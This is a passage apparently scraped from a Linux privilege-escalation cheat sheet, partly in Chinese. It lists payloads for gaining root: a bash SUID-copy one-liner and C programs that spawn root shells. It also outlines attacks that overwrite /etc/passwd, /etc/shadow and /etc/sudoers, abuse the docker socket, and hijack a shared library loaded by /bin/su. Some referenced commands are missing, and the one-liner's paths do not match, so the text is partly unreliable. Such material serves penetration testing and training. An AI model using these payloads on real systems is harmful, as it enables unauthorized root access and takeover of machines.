Payloads to execute
Bash
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntuC
//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main(){
setuid(getuid());
system("/bin/bash");
return 0;
}覆盖文件以提升权限
常见文件
在 /etc/passwd 中添加带密码的用户
更改 /etc/shadow 中的密码
在 /etc/sudoers 中将用户添加到sudoers
通过docker套接字滥用docker,通常在 /run/docker.sock 或 /var/run/docker.sock 中
覆盖库
检查某些二进制文件使用的库,本例中为 /bin/su:
在这种情况下,让我们尝试冒充 /lib/x86_64-linux-gnu/libaudit.so.1。
因此,检查 su 二进制文件使用的此库的函数:
这些符号audit_open、audit_log_acct_message、audit_log_acct_message和audit_fd可能来自于libaudit.so.1库。由于恶意共享库将覆盖libaudit.so.1,这些符号应该存在于新的共享库中,否则程序将无法找到该符号并退出。
现在,只需调用**/bin/su**,您将获得 root shell。
脚本
您能让 root 执行某些操作吗?
将 www-data 添加到 sudoers
更改 root 密码
将新的root用户添加到/etc/passwd
最后更新于